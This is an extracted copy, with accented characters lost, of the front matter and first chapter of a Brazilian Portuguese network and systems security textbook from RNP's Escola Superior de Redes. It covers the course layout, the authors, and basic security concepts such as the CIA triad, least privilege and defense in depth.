Você está na página 1de 270

LIVRO DE APOIO AO CURSO

pleta de proteo de redes, utilizando tcnicas como


firewall, IDS, IPS e VPN. O amplo escopo de conceitos
abordados permitir a aplicao das tcnicas de autenticao e autorizao seguras, auditorias de segurana
e de requisitos de configurao segura de servidores
Linux e Windows. Aps o curso, o aluno ser capaz de
montar um permetro seguro, aumentar a segurana
dos servidores da rede, realizar auditorias de segurana
e implantar sistemas de autenticao seguros.
Este livro inclui os roteiros das atividades prticas e o
contedo dos slides apresentados em sala de aula,
apoiando profissionais na disseminao deste conhecimento em suas organizaes ou localidades de origem.

ISBN 978-85-63630-13-1

9 788563 630131

Segurana de Redes e Sistemas

O aluno aprender a implementar uma soluo com-

Segurana

de Redes
e Sistemas
Ivo de Carvalho Peixinho
Francisco Marmo da Fonseca
Francisco Marcelo Marques Lima

Segurana

de Redes
e Sistemas
Ivo de Carvalho Peixinho
Francisco Marmo da Fonseca
Francisco Marcelo Marques Lima

Segurana

de Redes
e Sistemas
Ivo de Carvalho Peixinho
Francisco Marmo da Fonseca
Francisco Marcelo Marques Lima

Rio de Janeiro
Escola Superior de Redes
2013

Copyright 2013 Rede Nacional de Ensino e Pesquisa RNP


Rua Lauro Mller, 116 sala 1103
22290-906 Rio de Janeiro, RJ
Diretor Geral

Nelson Simes
Diretor de Servios e Solues

Jos Luiz Ribeiro Filho

Escola Superior de Redes


Coordenao

Luiz Coelho
Edio

Pedro Sangirardi
Reviso Tcnica

Francisco Marcelo Lima


Coordenao Acadmica de Segurana e Governana de TI
Edson Kowask
Equipe ESR (em ordem alfabtica)

Celia Maciel, Cristiane Oliveira, Derlina Miranda, Elimria Barbosa, Lourdes Soncin,
Luciana Batista, Luiz Carlos Lobato, Renato Duarte e Srgio Souza
Capa, projeto visual e diagramao

Tecnodesign
Verso

2.1.1

Este material didtico foi elaborado com fins educacionais. Solicitamos que qualquer erro encontrado ou dvida com relao ao material ou seu uso seja enviado para a equipe de elaborao de
contedo da Escola Superior de Redes, no e-mail info@esr.rnp.br. A Rede Nacional de Ensino e
Pesquisa e os autores no assumem qualquer responsabilidade por eventuais danos ou perdas, a
pessoas ou bens, originados do uso deste material.
As marcas registradas mencionadas neste material pertencem aos respectivos titulares.
Distribuio

Escola Superior de Redes

Rua Lauro Mller, 116 sala 1103


22290-906 Rio de Janeiro, RJ
http://esr.rnp.br
info@esr.rnp.br

Dados Internacionais de Catalogao na Publicao (CIP)


W380p

PEIXINHO, Ivo de Carvalho


Segurana de Redes e Sistemas/ Ivo de Carvalho Peixinho. Rio de Janeiro: RNP/ESR, 2013.
268 p. : il. ; 27,5 cm.
Bibliografia: p. 251.
ISBN 978-85-63630-13-1
1. Planejamento estratgico Processamento de dados. 2. Sistemas de informao
gerencial. 3. Tecnologia da informao gesto. I. Ttulo.
CDD 658.4012

Sumrio
1. Fundamentos de segurana
Introduo1
Exerccio de nivelamento 1 Fundamentos de Segurana2
Conceitos bsicos de segurana2
Exerccio de fixao 1 Conceitos6
Processo de Tratamento de Resposta a Incidentes6
Ciclo de vida de um incidente7
Grupos de resposta a incidentes8
Exerccio de fixao 2 Processo de tratamento de incidentes11
Exerccio de fixao 3 Grupo de resposta a incidentes11
Normas ISO/ABNT11
Polticas de segurana13
Exerccio de fixao 4 Polticas de segurana15
Planejando uma rede segura16
Roteiro de Atividades 117
Atividade 1 Exercitando os fundamentos de segurana17
Atividade 2 Normas de segurana17
Atividade 3 Poltica de segurana17
Atividade 4 Configurao inicial do laboratrio prtico18

2. Explorando vulnerabilidades em redes


Introduo21
Exerccio de nivelamento 1 Explorando vulnerabilidades em redes21
Penetration Test21
iii

Exerccio de fixao 1 Penetration Test24


Exerccio de fixao 2 Packet sniffing24
Nmap24
Exerccio de fixao 3 Nmap27
Hping27
Exerccio de fixao 3 IP Spoofing34
Exerccio de fixao 4 DoS34
Alguns tipos de ataques34
Exerccio de fixao 5 Alguns tipos de ataque37
Roteiro de Atividades 245
Atividade 1 Realizando ataques de protocolos45
Atividade 2 Levantando os servios da mquina alvo com Nmap46
Atividade 3 Realizando um ataque com Metasploit47
Atividade 4 Realizando um ataque de dicionrio com o Medusa49

3. Firewall Conceitos e Implementao


Introduo51
Exerccio de nivelamento 1 Firewall51
Firewall52
Tecnologias de firewall52
Exerccio de fixao 1 Filtros de pacotes55
Exerccio de fixao 2 Servidores proxy55
Topologias de firewall55
Exerccio de fixao 3 Topologias de firewall58
Exerccio de fixao 4 Screened Subnet58
Implementao de firewalls58
Netfilter (Iptables)58
Implementao do Netfilter59
Modo de operao do Netfilter61
Exerccio de fixao 5 Netfilter63
Controle perimetral 63
Traduo de IP (NAT)65
Packet Filter (PF) 66
Firewall Builder69

iv

Roteiro de Atividades 371


Atividade 1 Filtros de pacotes71
Atividade 2 Topologias de firewall71
Atividade 3 Topologias de firewall72
Atividade 4 Filtro de pacotes73
Atividade 5 Controle de NAT79
Atividade 6 Gerenciamento grfico do Firewall Builder 80
Atividade 7 Identificando as regras do firewall80

4. Servios bsicos de segurana


Introduo81
Exerccio de nivelamento 1 Servios bsicos de segurana81
Gerenciamento de logs81
Syslog-ng82
Exerccio de fixao 1 Gerenciamento de logs85
Exerccio de fixao 2 Syslog85
Logs do Windows85
Exerccio de fixao 3 Logs do Windows88
Exerccio de fixao 4 NTP88
Monitoramento de servios89
Avaliao das ferramentas92
Vantagens do Cacti93
Roteiro de Atividades 495
Atividade 1 Configurao do servidor de Syslog 95
Atividade 2 Configurao do servidor de hora97
Atividade 3 Monitoramento de servios100

5. Deteco e preveno de intrusos


Introduo103
Exerccio de nivelamento 1 Deteco e preveno de intrusos103
Sistemas de Deteco de Intrusos (IDS)103
Exerccio de fixao 1 IDS105
Sistema de Preveno de Intrusos (IPS)105
Exerccio de fixao 2 IPS106

Sistemas de Deteco de Intrusos em hosts (HIDS)106


Exerccio de fixao 3 HIDS107
Snort 107
Instalao do Snort109
Configurao do Snort112
Regras do Snort113
Oinkmaster114
Guardian: um Snort reativo115
Snort-inline115
HIDS116
Roteiro de Atividades 5117
Atividade 1 Configurao bsica do Snort117
Atividade 2 Atualizao de regras118
Atividade 3 Bloqueio automtico no firewall119
Atividade 4 Criando uma regra personalizada do Snort119

6. Autenticao, Autorizao e Certificao Digital


Introduo121
Exerccio de nivelamento 1 Autenticao e autorizao121
Sistema AAA121
Exerccio de fixao 1 Sistema AAA123
Criptografia123
Criptografia simtrica124
Criptografia assimtrica125
Tamanho das chaves125
Algoritmos Hash126
Modos de operao de algoritmos criptogrficos127
Exerccio de fixao 2 Criptografia127
Exerccio de fixao 3 Algoritmos Hash127
Certificados digitais128
Obtendo certificado de usurio128
Revogando o certificado do usurio129
Exerccio de fixao 4 Certificados digitais129
Gerenciamento de senhas129
Sistema de senhas Linux130

vi

Valor do SALT131
Exerccio de fixao 5 Sistema de senhas Linux132
Exerccio de fixao 6 SALT132
Sistema de senhas Windows132
Administrando as senhas133
Exerccio de fixao 7 Sistema de senhas no Windows134
Sistemas de Autenticao nica134
OTP134
S/Key134
Smart Card135
Servidores de diretrio: LDAP136
Servio de diretrio136
Exerccio de fixao 8 LDAP137
Exerccio de fixao 9 Servio de diretrios137
Tipos de informao137
Protocolo Kerberos 137
Acesso a servios em uma rede140
Benefcios do Kerberos140
Organizao do Kerberos141
Exerccio de fixao 10 Kerberos141
Certificao digital142
Trilhas de auditoria 142
Gerao dos dados142
Roteiro de Atividades 6145
Atividade 1 Utilizao do sistema OTP S/Key145
Atividade 2 Configurando o servio de autenticao Kerberos no Windows 2008146
Atividade 3 Uso do Cain & Abel para avaliar a segurana do sistema de autenticao147

7. Redes Privadas Virtuais


Introduo151
Exerccio de nivelamento 1 Redes Privadas Virtuais151
VPN151
Objetivos de uma VPN152
VPN PPTP153
L2TP 153
IPSec154
Exerccio de fixao 1 VPN155
vii

Exerccio de fixao 2 IPSec156


Modos de operao do IPSec156
Protocolos IPSec157
Exerccio de fixao 3 IPSec159
VPN SSL159
Exerccio de fixao 4 VPN SSL160
Implementao IPSec no Linux160
Instalao do Openswan160
Configurao do Openswan162
Implementao de VPN SSL no Linux164
Instalao do OpenVPN165
Configurao do OpenVPN166
Roteiro de Atividades 7169
Atividade 1 VPN IPSec169
Atividade 2 VPN SSL171
Atividade 3 Servidor VPN SSL para mltiplos clientes176

8. Auditoria de Segurana da Informao


Introduo181
Exerccio de nivelamento 1 Auditoria de Segurana da Informao181
Anlise de vulnerabilidades182
Exerccio de fixao 1 Anlise de vulnerabilidades183
Instalao do Nessus183
Auditoria com o Nessus184
Exemplo de auditoria em firewall187
Arquitetura do firewall187
Testando o firewall187
Testando as regras do firewall188
Exerccio de fixao 2 Arquitetura do firewall192
Exerccio de fixao 3 Testando o firewall192
Alertas e registros192
Roteiro de Atividades 8195
Atividade 1 Auditoria com Nessus195
Atividade 2 Auditoria sem filtros de pacotes196
Atividade 3 Auditoria do IDS196

viii

Atividade 4 Exemplo de auditoria196


Atividade 5 Utilizando o Nikto197
Atividade 6 Utilizando o Xprobe197
Atividade 7 Utilizando o THC-Amap198

9. Configurao segura de servidores Windows


Introduo199
Exerccio de nivelamento 1 Configurao segura de servidores Windows199
Necessidade de configurao de um bastion host200
Exerccio de fixao 1 Bastion host200
Check-list200
Configurao de filtros de pacotes201
Exerccio de fixao 2 Configurao de filtros de pacotes204
Criao de uma linha base de segurana (baseline)204
Desabilitando servios desnecessrios204
Exerccio de fixao 3 Baseline207
Ferramentas de anlise da segurana do Windows207
WMIC208
SYSInternals208
WSUS210
MBSA 210
Microsoft Security Compliance Manager211
Exerccio de fixao 4 Microsoft Security Compliance Manager214
Sistemas de arquivos e gerenciamento de usurios214
Group Policy Objects215
Exerccio de fixao 5 Group Policy Objects (GPO)217
Polticas de usurios e de computador217
Heranas de GPO218
Diretivas de segurana local219
Diretiva de senhas219
Diretiva de auditoria220
Atribuio de direitos de usurios222
Opes de segurana222
Roteiro de Atividades 9225
Atividade 1 Configurao segura de servidor225

ix

Atividade 2 Auditoria226
Atividade 3 Envio de log para servidor remoto227
Atividade 4 Controle de acesso ao sistema operacional228

10. Configurao segura de servidores Linux


Introduo229
Exerccio de nivelamento 1 Configurao segura de servidores Linux230
Instalao do Linux230
Desabilitando servios desnecessrios231
Exerccio de fixao 1 Desabilitando servios desnecessrios234
Pacotes e programas234
Configurao segura de servios236
Exerccio de fixao 2 Configurao segura de servios237
Acessos administrativos237
Exerccio de fixao 3 Acessos administrativos239
Atualizao do sistema operacional239
Pacotes compilados240
Sistema de arquivos proc240
Roteiro de Atividades 10243
Atividade 1 Configurao segura de servidor243
Atividade 2 Auditoria250
Atividade 3 Ferramentas e mecanismos para monitoramento250
Atividade 4 Ferramentas de segurana250

Bibliografia 251

Escola Superior de Redes


A Escola Superior de Redes (ESR) a unidade da Rede Nacional de Ensino e Pesquisa
(RNP) responsvel pela disseminao do conhecimento em Tecnologias da Informao
e Comunicao (TIC).
A ESR nasce com a proposta de ser a formadora e disseminadora de competncias em
TIC para o corpo tcnico-administrativo das universidades federais, escolas tcnicas e
unidades federais de pesquisa. Sua misso fundamental realizar a capacitao tcnica
do corpo funcional das organizaes usurias da RNP, para o exerccio de competncias
aplicveis ao uso eficaz e eficiente das TIC.
A ESR oferece dezenas de cursos distribudos nas reas temticas: Administrao e Projeto de Redes, Administrao de Sistemas, Segurana, Mdias de Suporte Colaborao
Digital e Governana de TI.
A ESR tambm participa de diversos projetos de interesse pblico, como a elaborao
e execuo de planos de capacitao para formao de multiplicadores para projetos
educacionais como: formao no uso da conferncia web para a Universidade Aberta do
Brasil (UAB), formao do suporte tcnico de laboratrios do Proinfo e criao de um conjunto de cartilhas sobre redes sem fio para o programa Um Computador por Aluno (UCA).

A metodologia da ESR
A filosofia pedaggica e a metodologia que orientam os cursos da ESR so baseadas na
aprendizagem como construo do conhecimento por meio da resoluo de problemas tpicos da realidade do profissional em formao. Os resultados obtidos nos cursos de natureza
terico-prtica so otimizados, pois o instrutor, auxiliado pelo material didtico, atua no
apenas como expositor de conceitos e informaes, mas principalmente como orientador do
aluno na execuo de atividades contextualizadas nas situaes do cotidiano profissional.
A aprendizagem entendida como a resposta do aluno ao desafio de situaes-problema
semelhantes s encontradas na prtica profissional, que so superadas por meio de anlise,
sntese, julgamento, pensamento crtico e construo de hipteses para a resoluo do problema, em abordagem orientada ao desenvolvimento de competncias.
Dessa forma, o instrutor tem participao ativa e dialgica como orientador do aluno para as
atividades em laboratrio. At mesmo a apresentao da teoria no incio da sesso de aprendizagem no considerada uma simples exposio de conceitos e informaes. O instrutor
busca incentivar a participao dos alunos continuamente.

xi

As sesses de aprendizagem onde se do a apresentao dos contedos e a realizao das


atividades prticas tm formato presencial e essencialmente prtico, utilizando tcnicas
de estudo dirigido individual, trabalho em equipe e prticas orientadas para o contexto de
atuao do futuro especialista que se pretende formar.
As sesses de aprendizagem desenvolvem-se em trs etapas, com predominncia de
tempo para as atividades prticas, conforme descrio a seguir:
Primeira etapa: apresentao da teoria e esclarecimento de dvidas (de 60 a 90 minutos).
O instrutor apresenta, de maneira sinttica, os conceitos tericos correspondentes ao tema
da sesso de aprendizagem, com auxlio de slides em formato PowerPoint. O instrutor
levanta questes sobre o contedo dos slides em vez de apenas apresent-los, convidando
a turma reflexo e participao. Isso evita que as apresentaes sejam montonas e que
o aluno se coloque em posio de passividade, o que reduziria a aprendizagem.
Segunda etapa: atividades prticas de aprendizagem (de 120 a 150 minutos).
Esta etapa a essncia dos cursos da ESR. A maioria das atividades dos cursos assncrona e realizada em duplas de alunos, que acompanham o ritmo do roteiro de atividades
proposto no livro de apoio. Instrutor e monitor circulam entre as duplas para solucionar
dvidas e oferecer explicaes complementares.
Terceira etapa: discusso das atividades realizadas (30 minutos).
O instrutor comenta cada atividade, apresentando uma das solues possveis para
resolv-la, devendo ater-se quelas que geram maior dificuldade e polmica. Os alunos so
convidados a comentar as solues encontradas e o instrutor retoma tpicos que tenham
gerado dvidas, estimulando a participao dos alunos. O instrutor sempre estimula os
alunos a encontrarem solues alternativas s sugeridas por ele e pelos colegas e, caso
existam, a coment-las.

Sobre o curso
O aluno aprender sobre permetros de segurana, atravs da implementao de uma
soluo completa de proteo de redes, utilizando tcnicas como firewall, IDS, IPS e VPN.
O amplo escopo de conceitos abordados permitir a aplicao das tcnicas seguras de
autenticao e autorizao, auditorias de segurana e requisitos de configurao de servidores Linux e Windows. Aps o curso, o aluno ser capaz de montar um permetro seguro,
aumentar a segurana dos servidores da rede, realizar auditorias de segurana e implantar
sistemas de autenticao seguros.

A quem se destina
Profissionais de TI que desejam adquirir ou atualizar os seus conhecimentos sobre segurana
de redes e sistemas a fim de garantir melhor aplicabilidade das prticas de segurana da
informao em suas organizaes.

Convenes utilizadas neste livro


As seguintes convenes tipogrficas so usadas neste livro:
Itlico
Indica nomes de arquivos e referncias bibliogrficas relacionadas ao longo do texto.

xii

Largura constante
Indica comandos e suas opes, variveis e atributos, contedo de arquivos e resultado da
sada de comandos.

Contedo de slide
Indica o contedo dos slides referentes ao curso apresentados em sala de aula.

Smbolo
Indica referncia complementar disponvel em site ou pgina na internet.

Smbolo
Indica um documento como referncia complementar.

Smbolo
Indica um vdeo como referncia complementar.

Smbolo
Indica um arquivo de adio como referncia complementar.

Smbolo
Indica um aviso ou precauo a ser considerada.

Smbolo
Indica questionamentos que estimulam a reflexo ou apresenta contedo de apoio ao
entendimento do tema em questo.

Smbolo
Indica notas e informaes complementares como dicas, sugestes de leitura adicional ou
mesmo uma observao.

Permisses de uso
Todos os direitos reservados RNP.
Agradecemos sempre citar esta fonte quando incluir parte deste livro em outra obra.
Exemplo de citao: PEIXINHO, Ivo. Segurana de Redes e Sistemas. Rio de Janeiro: Escola
Superior de Redes, 2013.

Comentrios e perguntas
Para enviar comentrios e perguntas sobre esta publicao:
Escola Superior de Redes RNP
Endereo: Av. Lauro Mller 116 sala 1103 Botafogo
Rio de Janeiro RJ 22290-906
E-mail: info@esr.rnp.br

xiii

Sobre os autores
Ivo de Carvalho Peixinho Bacharel em Cincia da Computao pela UFBA e Especialista
em Gesto de Segurana da Informao pela UnB. Possui mais de 15 anos de experincia
na rea de Segurana da Informao. Foi Diretor Tcnico na XSite Consultoria e Tecnologia,
Analista de Suporte na Universidade Federal da Bahia. Em 2004 atuou como Analista de
Segurana Snior no CAIS/RNP por dois anos e atualmente Perito Criminal Federal do
Departamento de Polcia Federal desde 2007, lotado atualmente no Servio de Represso a
Crimes Cibernticos - SRCC/CGPFAZ/DICOR/DPF. professor de ps-graduao nas disciplinas de Anlise Forense em Sistemas UNIX e Anlise de Malware e palestrante em diversos
eventos nacionais e internacionais como GTS, Seginfo, CNASI, ICCyber e FIRST.
Francisco Marmo da Fonseca bacharel em Engenharia da Computao pelo Instituto de
Educao Superior de Braslia e ps-graduando em Percia Digital pela Universidade Catlica de Braslia. Iniciou sua atuao em Redes como bolsista pesquisador do Projeto de Pesquisa REMAV-GO (1997-1999), financiado pela RNP e CNPq. Possui 14 anos de experincia
na rea de Redes de Computadores, atua como engenheiro consultor de Redes h 5 anos,
sendo os ltimos 3 anos na Layer2 do Brasil em clientes como Departamento de Polcia
Federal, IG e Oi. Tem passagens pela Serasa (2006-2008) como consultor no Banco Central
na Rede do Sistema Financeiro Nacional, e na Brasil Telecom (2002-2007) como analista de
Operaes de Redes IP.
Francisco Marcelo Marques Lima certificado Project Management Professional (PMP) e
Modulo Certified Security Officer (MCSO), Mestre em Engenharia Eltrica pela Universidade
de Braslia (2009), Mestre em Liderana pela Universidade de Santo Amaro (2007) e ps-graduado em Segurana de Redes de Computadores pela Universidade Catlica de Braslia
(2003). Atualmente exerce as funes de Coordenador dos Cursos de Redes de Computadores e Segurana da Informao do IESB e Analista em TI do MPOG cedido para a Controladoria-Geral da Unio/PR. Atua, tambm, como instrutor/revisor dos cursos de segurana
e redes na RNP e instrutor/revisor dos cursos de planejamento estratgico (PDTI) e gesto
de contratos de TI (GCTI) na ENAP. Possui mais de 15 anos de experincia na rea de Cincia
da Computao com nfase em Segurana da Informao, Redes e Construo de Software
tendo exercido funes como: Coordenador Geral de TI do INCRA (DAS 4); Coordenador
do Curso de Segurana da Informao da Faculdade Rogacionista; Coordenador do Curso
de Processamento de Dados e Segurana da Informao da Faculdade AD1, Analista em
Segurana da empresa Mdulo Security Solutions.
Edson Kowask Bezerra profissional da rea de segurana da informao e governana
h mais de quinze anos, atuando como auditor lder, pesquisador, gerente de projeto e
gerente tcnico, em inmeros projetos de gesto de riscos, gesto de segurana da informao, continuidade de negcios, PCI, auditoria e recuperao de desastres em empresas de
grande porte do setor de telecomunicaes, financeiro, energia, indstria e governo. Com
vasta experincia nos temas de segurana e governana, tem atuado tambm como palestrante nos principais eventos do Brasil e ainda como instrutor de treinamentos focados em
segurana e governana. professor e coordenador de cursos de ps-graduao na rea de
segurana da informao, gesto integrada, de inovao e tecnologias web. Hoje atua como
Coordenador Acadmico de Segurana e Governana de TI da Escola Superior de Redes.

xiv

1
Apresentar ao aluno fundamentos de segurana como estratgias, estgios do ciclo de
vida de incidentes, grupos de resposta a incidentes e normas de polticas de segurana.

e privacidade, entre outros.

conceitos

Confidencialidade, integridade, disponibilidade, autenticidade, legalidade, no repdio

Introduo
A Segurana da Informao (SI) uma rea em constante evoluo, que se desenvolveu muito
nos ltimos anos, com a criao de normas e certificaes internacionais e aumento expressivo no nmero de profissionais dedicados. O profissional que pretende atuar nessa rea deve
estar ciente de que ela bastante dinmica e envolve diversos setores da computao, como
programao e desenvolvimento de sistemas, redes de computadores, sistemas operacionais
e bancos de dados, entre outras. Quanto mais conhecimento o profissional de SI possuir, mais
capacidade ter de desempenhar seu papel. Apesar de todos esses avanos, a SI ainda uma
rea nova, e a cada dia novas subreas e conceitos so descobertos e incorporados.
Para este curso, considera-se que o aluno completou o curso de Introduo Segurana de Redes
e j possui uma noo sobre segurana de redes, incluindo a famlia de protocolos TCP/IP, alm
de noes de administrao de servidores Linux e Windows. Este curso ter enfoque mais
prtico, com foco na rea de redes e sistemas operacionais. Ao final do curso, o aluno deve ser
capaz de compreender e utilizar os conceitos e ferramentas de segurana de redes, de modo
a projetar e configurar uma rede com um nvel de segurana aceitvel, alm de ser capaz de
aumentar o nvel de segurana dos sistemas operacionais mais utilizados no mercado, atravs
de configuraes mais seguras dos sistemas e servios destes sistemas operacionais.
Por fim, importante que o aluno tenha conscincia de que este um curso prtico e
progressivo, com atividades prticas fundamentais e interdependentes, de modo que uma
atividade de um captulo pr-requisito para as atividades dos captulos seguintes. O aluno
deve investir nas atividades prticas para finaliz-las completamente, caso contrrio poder
no obter o aproveitamento desejado.

Captulo 1 - Fundamentos de segurana

objetivos

Fundamentos de segurana

Exerccio de nivelamento 1 e
Fundamentos de Segurana
O que voc entende por segurana da informao?

Como sua organizao trata a rea de segurana da informao?

Conceitos bsicos de segurana


O profissional de segurana deve ter sempre em mente alguns conceitos bsicos, que
nortearo o seu trabalho no dia a dia. Ele deve pensar de forma diferente do tradicional,
pois para ele no suficiente apenas o recurso ou servio estar funcionando: preciso estar
funcionando de forma segura. Podemos citar como exemplo o desenvolvimento de uma
aplicao web. Neste exemplo dispomos de diversos componentes que devem funcionar de
forma integrada. Podemos citar ento:
11 Servidores fsicos (hardware).

11 Sistemas operacionais dos servidores.


11 Servidor de aplicao.
11 Servidor HTTP.
11 Aplicao web.
11 Servidor de banco de dados.
11 Segurana do hardware dos servidores.
11 Segurana do sistema operacional.
11 Segurana da aplicao atravs de testes de penetrao.
11 Segurana da rede de comunicao.
Aqui estamos tratando de um exemplo didtico, pois uma aplicao comercial em produo
poder ter outros componentes, como redundncia, sistemas de gerenciamento, sistemas
de avaliao de desempenho das aplicaes e ambientes de virtualizao, entre outros.
Para o desenvolvedor, a preocupao maior com o bom funcionamento da aplicao. Hoje
existem alguns padres de desenvolvimento seguro, boas prticas e informaes sobre os
problemas de segurana mais comuns desse tipo de aplicao. Porm, o desenvolvedor nor Segurana de Redes e Sistemas

malmente possui prazos a cumprir e nem sempre possui experincia suficiente no desen-

volvimento de cdigo seguro. A equipe de suporte possui a preocupao de alocar recursos


suficientes para a operao da aplicao, de acordo com a carga esperada. A equipe de
homologao e testes muitas vezes est apenas preocupada com o bom funcionamento da
aplicao em condies normais de operao. O profissional de segurana, por outro lado,
est preocupado com a segurana da aplicao, o que envolve a segurana de cada um dos
componentes envolvidos:
11 Segurana do hardware dos servidores, com garantia de fornecimento de energia atravs
de fontes redundantes, nobreaks, geradores e at servidores redundantes.

11 Segurana do sistema operacional, do servidor de aplicao e do servidor web, atravs


da configurao segura, retirada de servios desnecessrios, aplicao das ltimas correes de segurana do fabricante, filtragem de portas desnecessrias, entre outros.
11 Segurana da aplicao atravs de testes de penetrao, avaliao das possveis vulnerabilidades, anlise do cdigo, entre outros.
11 Segurana da rede de comunicao, com avaliao da possibilidade de ataques de
negao de servio pela rede, ataques a protocolos, entre outros.
O profissional de segurana deve ter uma formao diversificada:

11 Segurana de redes wireless.


11 Testes de invaso (pentest).
11 Anlise forense computacional.
11 Tratamento de incidentes de segurana.
11 Desenvolvimento de aplicaes seguras.
11 Segurana de aplicaes.
O profissional de segurana deve ter profundo conhecimento em questes de segurana
fsica de computadores, segurana de sistemas operacionais, servios e aplicaes web,
atuando com responsabilidade e sempre buscando nveis mais profundos de conhecimento.
Atualmente, com o aumento da complexidade dos sistemas de informao, est cada vez
mais difcil um nico profissional abranger todo esse conhecimento, de forma que comeam
a surgir profissionais especializados em determinadas reas da segurana. reas como
segurana de redes wireless, testes de invaso (pentest), anlise forense computacional, tratamento de incidentes de segurana e desenvolvimento de aplicaes seguras so apenas
alguns exemplos de especializaes encontradas no mercado nos dias de hoje.
Entre os conhecimentos que um profissional de segurana deve possuir, talvez o conceito
mais bsico corresponda sigla CID (Confidencialidade, Integridade e Disponibilidade), que
derivada do ingls CIA (Confidentiality, Integrity and Availability). Ela o pilar de toda a rea
Pode ser definido
como qualquer evento
adverso, confirmado ou
sob suspeita, relacionado segurana de
sistemas de computao ou de redes de
computadores.

de SI, de modo que um incidente de segurana caracterizado quando uma dessas reas
afetada. A seguir, veremos em detalhes cada um desses itens.
Fundamentos de segurana:

11 Confidencialidade.
11 Integridade.
11 Disponibilidade.
A Confidencialidade e um termo diretamente ligado a privacidade de um recurso. Um
recurso deve estar acessvel apenas para a pessoa ou grupo que foi definido como usurio
autorizado para dispor daquele acesso, e nenhum outro. Por exemplo, as notas de um aluno
devem ser acessadas somente pelo aluno, pelos professores das disciplinas cursadas por ele
e pela equipe de registro acadmico.
O termo Integridade possui duas definies: a primeira relacionada com o fato da informao ter valor correto; por exemplo, no resultado da correo de uma prova, a nota obtida
foi avaliada por um professor com conhecimento da disciplina, e portanto apto para julgar
o contedo. A segunda definio esta ligada a inviolabilidade da informao, ou seja, a nota
no pode ser alterada sem justificativa e por meio controlado. A nota no pode sumir ou
ser simplesmente alterada.

Captulo 1 - Fundamentos de segurana

Incidente de segurana

O termo Disponibilidade esta relacionado ao acesso a informao, que pode ser controlada ou no, e disponvel quando necessria. Um ataque de negao de servio pode, por
exemplo, evitar o acesso a informao, afetando a disponibilidade.

importante notar que a disponibilidade e a integridade podem ser medidas de


forma simples, visto que elas so perceptveis pelos usurios da informao. A confidencialidade, por outro lado, pode ser quebrada sem que se tenha conhecimento do
fato, pois a simples visualizao de uma informao por um usurio no autorizado
no necessariamente altera essa informao. Da a importncia da auditoria, onde
so analisados os registros de acesso de determinada informao, com o objetivo de
verificar se houve acesso indevido. A auditoria ser tratada no captulo 8.

Observe, ainda, que existem trs dimenses completamente distintas: duas delas, a
confidencialidade e a integridade, so valores boolianos: ou a informao se manteve
confidencial ou no; ou a informao se manteve ntegra ou no. A terceira um nmero
real entre 0 e 1, podendo ser calculada pela prpria definio. Duas podem ser monitoradas e medidas: a integridade e a disponibilidade. No temos como saber se um dado
perdeu confidencialidade.
Conceitos auxiliares:

11 Autenticidade.
11 Legalidade.
11 No repdio.
11 Privacidade.
A literatura moderna inclui ainda mais alguns conceitos, que muitas vezes so considerados
auxiliares aos trs j listados. So eles:
11 Autenticidade: garantia de que uma informao, produto ou documento foi elaborado
ou distribudo pelo autor a quem se atribui.
11 Legalidade: garantia de que aes sejam realizadas em conformidade com os preceitos
legais vigentes e que seus produtos tenham validade jurdica.
11 No repdio: conceito muito utilizado quando tratamos de certificao digital, onde o
emissor de uma mensagem no pode negar que a enviou. As tecnologias de certificao
digital e assinatura digital so exemplos que propiciam essa condio.
11 Privacidade: conceito amplo, que expressa a habilidade de um indivduo em controlar a
exposio e a disponibilidade de informaes acerca de si. Com o crescimento dos meca-

Segurana de Redes e Sistemas

nismos de busca, bancos de dados e informaes publicadas na internet e redes sociais,

esse conceito tem sido muito discutido em fruns especficos. Um exerccio interessante
que o aluno pode realizar buscar o seu prprio nome no site de buscas do Google.
comum nos referirmos a esse conjunto de conceitos bsicos como CID ou CIDAL,
que corresponde s iniciais de alguns dos conceitos apresentados. A sigla DICA ainda
usada em referncia aos quatro primeiros conceitos.
Alm dos conceitos apresentados acima, o livro Building Internet Firewalls, de Elizabeth D.
Zwicky, Simon Cooper e D. Brent Chapman (editora OReilly), define ainda outros conceitos,
denominados de estratgias de segurana.

11 Least Privilege (Menor Privilgio).

11 Defense in Depth (Defesa em Profundidade).


11 Choke Point (Ponto nico).
11 Default Deny & default Permit Stance (Atitude de Bloqueio Padro e Permisso Padro).
11 Universal Participation (Participao Universal).
11 Diversity of Defense (Diversidade de Defesa).
11 Inherent Weakness (Fraquezas Inerentes).
11 Common configuration(Configurao Comum).
11 Common Heritage (Herana Comum).
11 Weakest Link (Elo mais Fraco).
11 Fail Safe (Falha Segura).
11 Simplicity (Simplicidade).
Esses conceitos so muito importantes, e o profissional de segurana deve sempre t-los em
mente no seu dia a dia:
11 Least Privilege (Menor Privilgio): cada objeto deve ter apenas os privilgios mnimos
para executar suas tarefas, e nenhum outro. Apesar de muito importante, difcil aplicar
esse conceito, pois muitas vezes ele envolve uma srie de ajustes e um mnimo erro
pode fazer com que o recurso pare de funcionar. Como exemplo, podemos citar um
servidor web. Executar o processo do servidor como o usurio administrador provavelmente fornecer uma srie de privilgios desnecessrios a ele. Nesse caso, convm criar
um usurio especfico (ex: httpd) e definir as permisses mnimas para que o servio
funcione. Por exemplo: permisso de leitura na pasta onde ficam as pginas HTML e permisso de leitura e gravao na pasta onde ficam os registros de acesso.
11 Defense In Depth (Defesa em Profundidade): no depender de um nico mecanismo
de segurana, independente do quo forte ele possa parecer. No existe nenhum mecanismo 100% seguro, ento qualquer mecanismo pode ser subvertido. Colocar defesas
redundantes pode ser uma boa estratgia, pois um atacante, ao passar por suas defesas
mais externas, ainda ter outras camadas de defesa para ultrapassar antes de comprometer o sistema como um todo.
11 Choke Point (Ponto nico): canal estreito por onde os atacantes so forados a passar,
que pode ser monitorado e controlado. Exemplos: praa de pedgio em uma estrada,
caixa de supermercado. Esse o princpio utilizado pelos firewalls.

atitude geral em relao segurana. Na primeira (mais segura), tudo proibido e o que
permitido deve ser expressamente definido. Na segunda, tudo permitido e o que proibido
deve ser definido. Em sistemas seguros, deve-se buscar sempre a primeira atitude (Default
Deny), apesar de nem sempre ser possvel. Para o caso do acesso internet por um navegador, seria vivel bloquear toda a internet e liberar apenas o que permitido?
11 Universal Participation (Participao Universal): todos devem participar do processo
de segurana. Uma nica pessoa que no participa do processo pode comprometer todo
o sistema. importante lembrar que a segurana envolve pessoas, e que elas devem
estar envolvidas, motivadas e participando do processo.
11 Diversity of Defense (Diversidade de Defesa): utilizar diferentes sistemas e formas de
defesa, de modo que uma vulnerabilidade em um sistema pode no estar presente em outros.

Captulo 1 - Fundamentos de segurana

